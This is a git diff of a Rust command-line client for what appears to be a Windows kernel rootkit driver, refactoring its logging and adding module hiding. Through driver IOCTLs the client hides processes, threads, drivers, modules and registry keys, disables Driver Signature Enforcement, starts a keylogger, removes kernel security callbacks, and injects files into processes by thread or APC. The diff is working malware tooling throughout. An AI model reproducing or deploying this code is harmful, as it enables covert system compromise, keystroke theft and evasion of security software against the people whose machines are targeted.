ProcessCommands::Enumerate { list, type_ } => { ProcessCommands::Enumerate { list, type_ } => {
println!("[+] Enumerate Process"); info!("Enumerate Process");
if *list { if *list {
enumerate_process(IOCTL_ENUMERATION_PROCESS, type_); enumerate_process(IOCTL_ENUMERATION_PROCESS, type_);
} }
@@ -79,11 +90,11 @@ fn main() {
}, },
Commands::Thread { sub_command } => match sub_command { Commands::Thread { sub_command } => match sub_command {
ThreadCommands::Hide { tid } => { ThreadCommands::Hide { tid } => {
println!("[+] Hide Thread: {tid}"); info!("Hide Thread: {tid}");
hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, true); hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, true);
}, },
ThreadCommands::Unhide { tid } => { ThreadCommands::Unhide { tid } => {
println!("[+] Unhide Thread: {tid}"); info!("Unhide Thread: {tid}");
hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, false); hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, false);
}, },
#[cfg(not(feature = "mapper"))] #[cfg(not(feature = "mapper"))]
@@ -93,11 +104,11 @@ fn main() {
} else if *remove { } else if *remove {
protection_thread(Some(tid), IOCTL_PROTECTION_THREAD, false); protection_thread(Some(tid), IOCTL_PROTECTION_THREAD, false);
} else { } else {
eprintln!("[-] No action provided"); error!("No action provided");
} }
}, },
ThreadCommands::Enumerate { list, type_ } => { ThreadCommands::Enumerate { list, type_ } => {
println!("[+] Enumerate Thread"); info!("Enumerate Thread");
if *list { if *list {
enumerate_thread(IOCTL_ENUMERATION_THREAD, type_); enumerate_thread(IOCTL_ENUMERATION_THREAD, type_);
} }
@@ -105,44 +116,44 @@ fn main() {
}, },
Commands::Driver { hide, unhide, list, name } => { Commands::Driver { hide, unhide, list, name } => {
if *hide { if *hide {
println!("[+] Hide Driver"); info!("Hide Driver");
match name { match name {
Some(name) => unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, true), Some(name) => unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, true),
None => { None => {
eprintln!("[-] No action provided for driver."); error!("No action provided for driver.");
return; return;
} }
} }
} else if *unhide { } else if *unhide {
println!("[+] Unhide Driver"); info!("Unhide Driver");
match name { match name {
Some(name) => unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, false), Some(name) => unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, false),
None => { None => {
eprintln!("[-] No action provided for driver."); error!("No action provided for driver.");
return; return;
} }
} }
} else if *list { } else if *list {
println!("[+] Enumerate Driver"); info!("Enumerate Driver");
enumerate_driver(IOCTL_ENUMERATE_DRIVER); enumerate_driver(IOCTL_ENUMERATE_DRIVER);
} }
}, },
Commands::Misc { sub_command } => match sub_command { Commands::Misc { sub_command } => match sub_command {
MisCommands::DSE { disable, enable } => { MisCommands::DSE { disable, enable } => {
if *enable { if *enable {
println!("[+] Enable DSE"); info!("Enable DSE");
dse(IOCTL_ENABLE_DSE, true); dse(IOCTL_ENABLE_DSE, true);
} else if *disable { } else if *disable {
println!("[+] Disable DSE"); info!("Disable DSE");
dse(IOCTL_ENABLE_DSE, false); dse(IOCTL_ENABLE_DSE, false);
} }
}, },
MisCommands::Keylogger { stop, start } => { MisCommands::Keylogger { stop, start } => {
if *start { if *start {
println!("[+] Start Keylogger"); info!("Start Keylogger");
keylogger(IOCTL_KEYLOGGER, true); keylogger(IOCTL_KEYLOGGER, true);
} else if *stop { } else if *stop {
println!("[+] Stop Keylogger"); info!("Stop Keylogger");
keylogger(IOCTL_KEYLOGGER, false); keylogger(IOCTL_KEYLOGGER, false);
} }
}, },
@@ -152,7 +163,7 @@ fn main() {
Commands::Registry { sub_command } => match sub_command { Commands::Registry { sub_command } => match sub_command {
RegistryCommands::Protect { key, name, add, remove } => { RegistryCommands::Protect { key, name, add, remove } => {
if *add && *remove { if *add && *remove {
eprintln!("[-] Error: Both add and remove options cannot be specified at the same time"); error!("Both add and remove options cannot be specified at the same time");
} else if *add { } else if *add {
match name { match name {
Some(ref name) => { Some(ref name) => {
@@ -172,60 +183,65 @@ fn main() {
} }
} }
} else { } else {
eprintln!("[-] Error: Either add or remove must be specified"); error!("Either add or remove must be specified");
} }
}, },
RegistryCommands::Hide { key, value } => { RegistryCommands::Hide { key, value } => {
match value { match value {
Some(ref value) => { Some(ref value) => {
registry_hide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, true); registry_hide_unhide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, true);
}, },
None => { None => {
registry_hide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, true); registry_hide_unhide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, true);
} }
} }
} }
RegistryCommands::Unhide { key, value } => { RegistryCommands::Unhide { key, value } => {
match value { match value {
Some(ref value) => { Some(ref value) => {
registry_hide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, false); registry_hide_unhide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, false);
}, },
None => { None => {
registry_hide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, false); registry_hide_unhide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, false);
} }
} }
}, },
}, },
Commands::Module { pid } => { Commands::Module { sub_command } => match sub_command {
enumerate_module(IOCTL_ENUMERATE_MODULE, pid); ModuleCommands::Hide { module, pid } => {
hide_module(IOCTL_HIDE_MODULE, module, *pid);
},
ModuleCommands::Enumerate { pid } => {
enumerate_module(IOCTL_ENUMERATE_MODULE, pid);
}
} }
Commands::Callback { list, enumerate ,remove, restore, callback } => { Commands::Callback { list, enumerate ,remove, restore, callback } => {
if *list { if *list {
println!("[+] Enumerate Callback"); info!("Enumerate Callback");
enumerate_callback(IOCTL_ENUMERATE_CALLBACK, callback); enumerate_callback(IOCTL_ENUMERATE_CALLBACK, callback);
return; return;
} }
if *enumerate { if *enumerate {
println!("[+] Enumerate Removed Callback"); info!("Enumerate Removed Callback");
enumerate_callback(IOCTL_ENUMERATE_REMOVED_CALLBACK, callback); enumerate_callback(IOCTL_ENUMERATE_REMOVED_CALLBACK, callback);
return; return;
} }
match (remove, restore) { match (remove, restore) {
(Some(index), None) => { (Some(index), None) => {
println!("[+] Remove Callback: {index}"); info!("Remove Callback: {index}");
remove_callback(*index, IOCTL_REMOVE_CALLBACK, callback); remove_callback(*index, IOCTL_REMOVE_CALLBACK, callback);
}, },
(None, Some(index)) => { (None, Some(index)) => {
println!("[+] Restore Callback: {index}"); info!("Restore Callback: {index}");
restore_callback(*index, IOCTL_RESTORE_CALLBACK, callback); restore_callback(*index, IOCTL_RESTORE_CALLBACK, callback);
}, },
(Some(_), Some(_)) => { (Some(_), Some(_)) => {
eprintln!("[-] Error: Cannot remove and restore at the same time."); error!("Cannot remove and restore at the same time");
}, },
(None, None) => { (None, None) => {
eprintln!("[-] No action provided for callback."); error!("No action provided for callback");
}, },
} }
}, },

View File

@@ -1,50 +0,0 @@
use {
crate::driver::open_driver,
std::{ffi::c_void, mem::size_of, ptr::null_mut},
shared::structs::{ModuleInfo, TargetProcess},
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
};
pub fn enumerate_module(ioctl_code: u32, pid: &u32) {
let h_file = open_driver().expect("Failed to open driver");
let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() };
let mut input_module = TargetProcess {
pid: *pid as usize
};
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut input_module as *mut _ as *mut c_void,
size_of::<TargetProcess>() as u32,
module_info.as_mut_ptr() as *mut _,
(module_info.len() * size_of::<ModuleInfo>()) as u32,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
let total_module = return_buffer as usize / size_of::<ModuleInfo>();
println!("[+] Total modules: {}", total_module);
for i in module_info.iter() {
if i.address > 0 {
let name = match String::from_utf16(&i.name) {
Ok(name) => name,
Err(err) => {
eprintln!("[!] UTF-16 decoding error: {:?}", err);
continue;
}
};
println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name);
}
}
}
unsafe {
CloseHandle(h_file);
};
}

View File

@@ -1,12 +1,18 @@
use { use {
crate::{cli::Callbacks, driver::open_driver}, crate::{cli::Callbacks, utils::open_driver},
std::{ptr::null_mut, mem::size_of, ffi::c_void},
shared::structs::{CallbackInfoInput, CallbackInfoOutput}, shared::structs::{CallbackInfoInput, CallbackInfoOutput},
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl}, std::{ffi::c_void, mem::size_of, ptr::null_mut},
windows_sys::Win32::{
Foundation::{CloseHandle, GetLastError},
System::IO::DeviceIoControl
}
}; };
pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) { pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
log::debug!("Attempting to open the driver for callback enumeration");
let h_file = open_driver().expect("Failed to open driver"); let h_file = open_driver().expect("Failed to open driver");
log::debug!("Allocating memory for callback information");
let mut return_buffer = 0; let mut return_buffer = 0;
let mut callback_info: [CallbackInfoOutput; 400] = unsafe { std::mem::zeroed() }; let mut callback_info: [CallbackInfoOutput; 400] = unsafe { std::mem::zeroed() };
let mut input_callback = CallbackInfoInput { let mut input_callback = CallbackInfoInput {
@@ -14,11 +20,12 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
callback: callback.to_shared() callback: callback.to_shared()
}; };
log::debug!("Sending DeviceIoControl command to enumerate callbacks");
let status = unsafe { let status = unsafe {
DeviceIoControl( DeviceIoControl(
h_file, h_file,
ioctl_code, ioctl_code,
&mut input_callback as *mut _ as *mut c_void, &mut input_callback as *mut _ as *mut c_void,
size_of::<CallbackInfoInput>() as u32, size_of::<CallbackInfoInput>() as u32,
callback_info.as_mut_ptr() as *mut _, callback_info.as_mut_ptr() as *mut _,
(callback_info.len() * size_of::<CallbackInfoOutput>()) as u32, (callback_info.len() * size_of::<CallbackInfoOutput>()) as u32,
@@ -28,25 +35,28 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
}; };
if status == 0 { if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else { } else {
let total_module = return_buffer as usize / size_of::<CallbackInfoOutput>(); let total_modules = return_buffer as usize / size_of::<CallbackInfoOutput>();
println!("[+] Total modules: {}", total_module); log::info!("Total callbacks found: {}", total_modules);
log::info!("Listing callbacks:");
println!("");
for i in callback_info.iter() { for i in callback_info.iter() {
if i.address > 0 { if i.address > 0 {
let name = match String::from_utf16(&i.name) { let name = match String::from_utf16(&i.name) {
Ok(name) => name.trim_end_matches('\0').to_string(), Ok(name) => name.trim_end_matches('\0').to_string(),
Err(err) => { Err(err) => {
eprintln!("[!] UTF-16 decoding error: {:?}", err); log::error!("UTF-16 decoding error: {:?}", err);
continue; continue;
} }
}; };
println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name); println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name);
} else if i.post_operation > 0 || i.pre_operation > 0 { } else if i.post_operation > 0 || i.pre_operation > 0 {
let name = match String::from_utf16(&i.name) { let name = match String::from_utf16(&i.name) {
Ok(name) => name.trim_end_matches('\0').to_string(), Ok(name) => name.trim_end_matches('\0').to_string(),
Err(err) => { Err(err) => {
eprintln!("[!] UTF-16 decoding error: {:?}", err); log::error!("UTF-16 decoding error: {:?}", err);
continue; continue;
} }
}; };
@@ -55,25 +65,33 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
println!("\tpost_operation: {:?}", i.post_operation as *mut c_void); println!("\tpost_operation: {:?}", i.post_operation as *mut c_void);
} }
} }
println!("");
log::info!("Callback enumeration completed")
} }
log::debug!("Closing the driver handle");
unsafe { unsafe {
CloseHandle(h_file); CloseHandle(h_file);
}; };
} }
pub fn remove_callback(index: usize, ioctl_code: u32, callback: &Callbacks) { pub fn remove_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
log::debug!("Attempting to open the driver to remove callback at index: {}", index);
let h_file = open_driver().expect("Failed to open driver"); let h_file = open_driver().expect("Failed to open driver");
let mut callback_info = CallbackInfoInput {
log::debug!("Preparing structure to remove callback at index: {}", index);
let mut callback_info = CallbackInfoInput {
index, index,
callback: callback.to_shared() callback: callback.to_shared()
}; };
log::debug!("Sending DeviceIoControl command to remove callback at index: {}", index);
let mut return_buffer = 0; let mut return_buffer = 0;
let status = unsafe { let status = unsafe {
DeviceIoControl( DeviceIoControl(
h_file, h_file,
ioctl_code, ioctl_code,
&mut callback_info as *mut _ as *mut c_void, &mut callback_info as *mut _ as *mut c_void,
size_of::<CallbackInfoInput>() as u32, size_of::<CallbackInfoInput>() as u32,
null_mut(), null_mut(),
0, 0,
@@ -83,26 +101,34 @@ pub fn remove_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
}; };
if status == 0 { if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
log::info!("Successfully removed callback at index: {}", index);
} }
log::debug!("Closing the driver handle");
unsafe { unsafe {
CloseHandle(h_file); CloseHandle(h_file);
}; };
} }
pub fn restore_callback(index: usize, ioctl_code: u32, callback: &Callbacks) { pub fn restore_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
log::debug!("Attempting to open the driver to restore callback at index: {}", index);
let h_file = open_driver().expect("Failed to open driver"); let h_file = open_driver().expect("Failed to open driver");
let mut callback_info = CallbackInfoInput {
log::debug!("Preparing structure to restore callback at index: {}", index);
let mut callback_info = CallbackInfoInput {
index, index,
callback: callback.to_shared() callback: callback.to_shared()
}; };
log::debug!("Sending DeviceIoControl command to restore callback at index: {}", index);
let mut return_buffer = 0; let mut return_buffer = 0;
let status = unsafe { let status = unsafe {
DeviceIoControl( DeviceIoControl(
h_file, h_file,
ioctl_code, ioctl_code,
&mut callback_info as *mut _ as *mut c_void, &mut callback_info as *mut _ as *mut c_void,
size_of::<CallbackInfoInput>() as u32, size_of::<CallbackInfoInput>() as u32,
null_mut(), null_mut(),
0, 0,
@@ -112,9 +138,12 @@ pub fn restore_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
}; };
if status == 0 { if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
log::info!("Successfully restored callback at index: {}", index);
} }
log::debug!("Closing the driver handle");
unsafe { unsafe {
CloseHandle(h_file); CloseHandle(h_file);
}; };

View File

@@ -0,0 +1,107 @@
use {
log::*,
crate::utils::open_driver,
core::mem::size_of,
shared::structs::{DriverInfo, TargetDriver},
std::{ffi::c_void, ptr::null_mut},
windows_sys::Win32::{
Foundation::{CloseHandle, GetLastError},
System::IO::DeviceIoControl
}
};
pub fn unhide_hide_driver(ioctl_code: u32, name: &String, enable: bool) {
debug!("Attempting to open the driver for {} operation", if enable { "hide" } else { "unhide" });
let h_file = open_driver().expect("Failed to open driver");
debug!("Preparing structure for: {}", name);
let mut info_driver = TargetDriver {
name: name.to_string(),
enable
};
debug!("Sending DeviceIoControl command to {} driver", if enable { "hide" } else { "unhide" });
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut info_driver as *mut _ as *mut c_void,
size_of::<TargetDriver>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() });
} else {
info!("Driver successfully {}hidden", if enable { "" } else { "un" });
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
};
}
pub fn enumerate_driver(ioctl_code: u32) {
debug!("Attempting to open the driver for enumeration");
let h_file = open_driver().expect("Failed to open driver");
debug!("Allocating memory for driver info");
let mut driver_info: [DriverInfo; 400] = unsafe { std::mem::zeroed() };
let mut return_buffer = 0;
debug!("Sending DeviceIoControl command to enumerate drivers");
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
null_mut(),
0,
driver_info.as_mut_ptr() as *mut _,
(driver_info.len() * size_of::<DriverInfo>()) as u32,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
let total_modules = return_buffer as usize / size_of::<DriverInfo>();
info!("Total modules found: {}", total_modules);
info!("Listing drivers:");
println!("");
for i in driver_info.iter() {
if i.address > 0 {
let name = match String::from_utf16(&i.name) {
Ok(name) => name,
Err(err) => {
error!("UTF-16 decoding error: {:?}", err);
continue;
}
};
println!(
"[{:2}] {:#018x} {}",
i.index,
i.address,
name
);
}
}
println!("");
info!("Driver enumeration completed.");
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
};
}

View File

@@ -1,5 +1,6 @@
use { use {
crate::{driver::open_driver, utils::check_file}, log::*,
crate::{utils::open_driver, utils::check_file},
core::ffi::c_void, core::ffi::c_void,
shared::structs::TargetInjection, shared::structs::TargetInjection,
std::ptr::null_mut, std::ptr::null_mut,
@@ -7,62 +8,73 @@ use {
}; };
pub fn injection_thread(ioctl_code: u32, pid: &u32, path: &String) { pub fn injection_thread(ioctl_code: u32, pid: &u32, path: &String) {
println!("[*] Starting process injection for PID: {pid}, using file: {path}"); info!("Starting process injection for PID: {pid}, using file: {path}");
println!("[*] Attempting to open the driver...");
let h_file = open_driver().expect("Failed to open driver"); let h_file = open_driver().expect("Failed to open driver");
let status; let status;
println!("[*] Preparing injection structure..."); info!("Checking if the file exists at the specified path");
let mut info_injection = TargetInjection {
path: path.to_string(),
pid: *pid as usize
};
println!("[*] Checking if the file exists at the specified path...");
if !check_file(path) { if !check_file(path) {
eprintln!("[!] Error: File not found at the specified path: {path}. Please check the file path and try again."); error!("File not found at the specified path: {path}. Please check the file path and try again");
return; return;
} }
println!("[+] File found."); info!("File found!!!");
let mut return_buffer = 0; debug!("Preparing injection structure");
println!("[*] Initiating process injection...");
status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut info_injection as *mut _ as *mut c_void,
std::mem::size_of::<TargetInjection>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
println!("[+] Success: Process injection was successfully performed on PID: {pid} using the file at path: {path}.");
}
println!("[*] Closing the driver handle...");
unsafe {
CloseHandle(h_file);
};
println!("[+] Driver handle closed. Injection process completed.");
}
pub fn injection_apc(ioctl_code: u32, pid: &u32, path: &String) {
let h_file = open_driver().expect("Failed to open driver");
let status;
let mut info_injection = TargetInjection { let mut info_injection = TargetInjection {
path: path.to_string(), path: path.to_string(),
pid: *pid as usize pid: *pid as usize
}; };
let mut return_buffer = 0;
debug!("Sending DeviceIoControl command to Process Injection");
status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut info_injection as *mut _ as *mut c_void,
std::mem::size_of::<TargetInjection>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
} else {
info!("Process injection was successfully performed on PID: {pid} using the file at path: {path}");
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
};
}
pub fn injection_apc(ioctl_code: u32, pid: &u32, path: &String) {
debug!("Starting APC injection for PID: {pid}, using file: {path}");
debug!("Attempting to open the driver");
let h_file = open_driver().expect("Failed to open driver");
let status;
info!("Checking if the file exists at the specified path");
if !check_file(path) {
error!("File not found at the specified path: {path}. Please check the file path and try again");
return;
}
info!("File found!!!");
debug!("Preparing injection structure");
let mut info_injection = TargetInjection {
path: path.to_string(),
pid: *pid as usize
};
debug!("Sending DeviceIoControl command to APC Injection");
let mut return_buffer = 0; let mut return_buffer = 0;
status = unsafe { status = unsafe {
DeviceIoControl( DeviceIoControl(
@@ -78,11 +90,12 @@ pub fn injection_apc(ioctl_code: u32, pid: &u32, path: &String) {
}; };
if status == 0 { if status == 0 {
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); error!("DeviceIoControl Failed with status: 0x{:08X}", status);
} else { } else {
println!("[+] Process injection APC successfully performed on PID: {pid}"); info!("APC Injection successfully performed on PID: {pid}");
} }
debug!("Closing the driver handle");
unsafe { unsafe {
CloseHandle(h_file); CloseHandle(h_file);
}; };

View File

@@ -0,0 +1,76 @@
use {
log::*,
crate::utils::open_driver,
shared::structs::{Keylogger, DSE},
std::{ffi::c_void, mem::size_of, ptr::null_mut},
windows_sys::Win32::{
Foundation::{CloseHandle, GetLastError},
System::IO::DeviceIoControl
},
};
pub fn dse(ioctl_code: u32, enable: bool) {
let h_file = open_driver().expect("Failed to open driver");
debug!("Preparing DSE structure for {}", if enable { "enabling" } else { "disabling" });
let mut return_buffer = 0;
let mut info_dse = DSE {
enable
};
debug!("Sending DeviceIoControl command to {} DSE", if enable { "enable" } else { "disable" });
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut info_dse as *mut _ as *mut c_void,
size_of::<DSE>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() });
} else {
info!("Driver Signature Enforcement (DSE) {}", if enable { "enable" } else { "disable" });
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
};
}
pub fn keylogger(ioctl_code: u32, state: bool) {
let h_file = open_driver().expect("Failed open driver");
let mut return_buffer = 0;
let mut keylogger = Keylogger {
enable: state
};
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut keylogger as *mut _ as *mut c_void,
std::mem::size_of::<Keylogger>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
info!("Keylogger {}", if state { "start" } else { "stop" })
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
};
}

View File

@@ -0,0 +1,9 @@
#[cfg(not(feature = "mapper"))]
pub mod registry;
pub mod callback;
pub mod driver;
pub mod process;
pub mod misc;
pub mod thread;
pub mod injection;
pub mod module;

View File

@@ -0,0 +1,101 @@
use log::*;
use crate::utils::open_driver;
use shared::structs::{ModuleInfo, TargetModule, TargetProcess};
use std::{ffi::c_void, mem::size_of, ptr::null_mut};
use windows_sys::Win32::{
Foundation::{CloseHandle, GetLastError},
System::IO::DeviceIoControl,
};
pub fn enumerate_module(ioctl_code: u32, pid: &u32) {
info!("Attempting to enumerate modules for PID: {pid}");
let h_file = open_driver().expect("Failed to open driver");
debug!("Preparing structure for pid: {pid}");
let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() };
let mut input_module = TargetProcess {
pid: *pid as usize,
};
debug!("Sending DeviceIoControl command to enumerate modules for PID: {pid}");
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut input_module as *mut _ as *mut c_void,
size_of::<TargetProcess>() as u32,
module_info.as_mut_ptr() as *mut _,
(module_info.len() * size_of::<ModuleInfo>()) as u32,
&mut return_buffer,
null_mut(),
)
};
if status == 0 {
error!("DeviceIoControl failed with status: 0x{:08X} for PID: {}", unsafe { GetLastError() }, pid);
} else {
let total_modules = return_buffer as usize / size_of::<ModuleInfo>();
info!("Total modules found for PID {pid}: {total_modules}");
info!("Listing modules:");
println!();
for module in module_info.iter() {
if module.address > 0 {
let name = match String::from_utf16(&module.name) {
Ok(name) => name,
Err(err) => {
error!("UTF-16 decoding error: {:?}", err);
continue;
}
};
println!("[{}] {:p} {}", module.index, module.address as *mut c_void, name);
}
}
println!();
info!("Module enumeration completed for PID: {pid}");
}
debug!("Closing the driver handle for PID: {pid}");
unsafe {
CloseHandle(h_file);
}
}
pub fn hide_module(ioctl_code: u32, name: &String, pid: u32) {
debug!("Attempting to open the module for hide operation");
let h_file = open_driver().expect("Failed to open driver");
debug!("Preparing structure for: {}", name);
let mut info_driver = TargetModule {
module_name: name.to_string(),
pid: pid as usize
};
debug!("Sending DeviceIoControl command to hide module");
let mut return_buffer = 0;
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut info_driver as *mut _ as *mut c_void,
size_of::<TargetModule>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
info!("Module successfully hidden");
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
};
}

View File

@@ -0,0 +1,278 @@
use {
log::*,
std::{ffi::c_void, mem::size_of, ptr::null_mut},
windows_sys::Win32::{
Foundation::{CloseHandle, GetLastError},
System::IO::DeviceIoControl,
},
crate::{
utils::open_driver,
cli::{Options, PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE}
},
shared::{
structs::{
EnumerateInfoInput, ProcessInfoHide, ProcessListInfo,
ProcessSignature, TargetProcess,
},
vars::MAX_PIDS,
},
};
pub fn hide_unhide_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) {
debug!("Attempting to open the driver for hide/unhide operation");
let h_file = open_driver().expect("Failed to open driver");
if let Some(pid_value) = pid {
debug!("Preparing structure for pid: {}", pid_value);
let mut return_buffer = 0;
let pid = *pid_value as usize;
let mut target_process = ProcessInfoHide {
enable,
pid,
};
debug!("Sending DeviceIoControl command to {} process", if enable { "hide" } else { "unhide" });
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut target_process as *mut _ as *mut c_void,
size_of::<ProcessInfoHide>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut(),
)
};
if status == 0 {
error!(
"DeviceIoControl Failed with status: 0x{:08X}",
unsafe { GetLastError() }
);
} else {
info!("Process with PID {} successfully {}hidden", pid, if enable { "" } else { "un" });
}
} else {
error!("PID not supplied");
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
}
}
pub fn terminate_process(pid: Option<&u32>, ioctl_code: u32) {
debug!("Attempting to open the driver for terminate operation");
let h_file = open_driver().expect("Failed to open driver");
if let Some(pid_value) = pid {
debug!("Preparing structure for pid: {}", pid_value);
let mut return_buffer = 0;
let pid = *pid_value as usize;
let mut target_process = TargetProcess { pid };
debug!("Sending DeviceIoControl command to terminate process");
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut target_process as *mut _ as *mut c_void,
size_of::<TargetProcess>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut(),
)
};
if status == 0 {
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
info!("Process with PID {} terminated successfully", pid);
}
} else {
error!("PID not supplied");
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
}
}
#[cfg(not(feature = "mapper"))]
pub fn protection_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) {
debug!("Attempting to open the driver for protection operation");
let h_file = open_driver().expect("Failed to open driver");
if let Some(pid_value) = pid {
debug!("Preparing structure for pid: {}", pid_value);
let mut return_buffer = 0;
let pid = *pid_value as usize;
let mut target_process = shared::structs::ProcessProtection { pid, enable };
debug!("Sending DeviceIoControl command to {} protection", if enable { "enable" } else { "disable" });
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut target_process as *mut _ as *mut c_void,
size_of::<shared::structs::ProcessProtection>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut(),
)
};
if status == 0 {
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }
);
} else {
info!("Process with PID {} {} protection", pid, if enable { "enabled" } else { "disabled" });
}
} else {
error!("PID not supplied");
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
}
}
pub fn enumerate_process(ioctl_code: u32, option: &Options) {
debug!("Attempting to open the driver for process enumeration");
let h_file = open_driver().expect("Failed to open driver");
let mut info_process: [ProcessListInfo; MAX_PIDS] = unsafe { std::mem::zeroed() };
let mut enumeration_input = EnumerateInfoInput {
options: option.to_shared(),
};
let mut return_buffer = 0;
debug!("Sending DeviceIoControl command to enumerate processes");
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut enumeration_input as *mut _ as *mut c_void,
size_of::<EnumerateInfoInput>() as u32,
info_process.as_mut_ptr() as *mut _,
(info_process.len() * size_of::<ProcessListInfo>()) as u32,
&mut return_buffer,
null_mut(),
)
};
if status == 0 {
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
let total_process = return_buffer as usize / size_of::<ProcessListInfo>();
info!("Total Processes: {}", total_process);
println!("Listing Processes:");
println!("");
for i in 0..total_process {
if info_process[i].pids > 0 {
println!("[{}] {}", i, info_process[i].pids);
}
}
println!("");
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
}
}
pub fn signature_process(
pid: Option<&u32>,
ioctl_code: u32,
sg: &PS_PROTECTED_SIGNER,
tp: &PS_PROTECTED_TYPE,
) {
debug!("Attempting to open the driver for signature operation");
let h_file = open_driver().expect("Failed to open driver");
if let Some(pid_value) = pid {
debug!("Preparing structure for pid: {}", pid_value);
let mut return_buffer = 0;
let sg = *sg as usize;
let tp = *tp as usize;
let pid = *pid_value as usize;
let mut info_protection_process = ProcessSignature { pid, sg, tp };
debug!("Sending DeviceIoControl command to apply signature protection");
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut info_protection_process as *mut _ as *mut c_void,
size_of::<ProcessSignature>() as u32,
null_mut(),
0,
&mut return_buffer,
